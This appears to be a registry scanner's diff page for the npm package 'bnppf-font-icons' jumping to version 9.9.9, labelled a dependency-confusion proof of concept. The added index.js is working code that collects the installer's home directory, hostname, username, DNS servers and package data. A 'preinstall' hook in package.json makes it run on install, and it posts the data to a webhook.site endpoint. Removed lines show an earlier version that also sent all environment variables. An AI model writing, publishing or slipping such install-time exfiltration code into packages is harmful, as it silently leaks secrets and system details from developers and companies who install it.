bnppf-font-icons 3.1.0 → 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bnppf-font-icons might be problematic. Click here for more details.
- package/index.js +17 -20
- package/package.json +4 -4
package/index.js
CHANGED
@@ -1,34 +1,33 @@
|
|
1
|
+
//POC for BNP possible dependency confusion
|
2
|
+
//author:- whitehacker003@protonmail.com
|
3
|
+
//contact: eden.dw2001@gmail.com
|
1
4
|
const os = require("os");
|
2
5
|
const dns = require("dns");
|
3
6
|
const querystring = require("querystring");
|
4
7
|
const https = require("https");
|
5
8
|
const packageJSON = require("./package.json");
|
9
|
+
const package = packageJSON.name;
|
6
10
|
|
7
|
-
// Construct tracking data with additional information
|
8
11
|
const trackingData = JSON.stringify({
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
envVars: process.env,
|
19
|
-
fullPackageJson: packageJSON,
|
12
|
+
p: package,
|
13
|
+
c: __dirname,
|
14
|
+
hd: os.homedir(),
|
15
|
+
hn: os.hostname(),
|
16
|
+
un: os.userInfo().username,
|
17
|
+
dns: dns.getServers(),
|
18
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
19
|
+
v: packageJSON.version,
|
20
|
+
pjson: packageJSON,
|
20
21
|
});
|
21
22
|
|
22
|
-
// Prepare data for POST request
|
23
23
|
var postData = querystring.stringify({
|
24
24
|
msg: trackingData,
|
25
25
|
});
|
26
26
|
|
27
|
-
// Set up HTTPS options for Burp Collaborator server
|
28
27
|
var options = {
|
29
|
-
hostname: "webhook.site", //
|
28
|
+
hostname: "webhook.site", //replace burpcollaborator.net with Interactsh or pipedream
|
30
29
|
port: 443,
|
31
|
-
path: "/
|
30
|
+
path: "/40d85892-244c-4947-9379-7595c2b9283d",
|
32
31
|
method: "POST",
|
33
32
|
headers: {
|
34
33
|
"Content-Type": "application/x-www-form-urlencoded",
|
@@ -36,17 +35,15 @@ var options = {
|
|
36
35
|
},
|
37
36
|
};
|
38
37
|
|
39
|
-
// Create HTTPS request to send tracking data
|
40
38
|
var req = https.request(options, (res) => {
|
41
39
|
res.on("data", (d) => {
|
42
|
-
process.stdout.write(d);
|
40
|
+
process.stdout.write(d);
|
43
41
|
});
|
44
42
|
});
|
45
43
|
|
46
44
|
req.on("error", (e) => {
|
47
|
-
//
|
45
|
+
// console.error(e);
|
48
46
|
});
|
49
47
|
|
50
|
-
// Send the tracking data
|
51
48
|
req.write(postData);
|
52
49
|
req.end();
|
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "bnppf-font-icons",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "PoC",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
-
"preinstall":"node index.js"
|
9
|
-
},
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
10
|
"author": "",
|
11
11
|
"license": "ISC"
|
12
12
|
}
|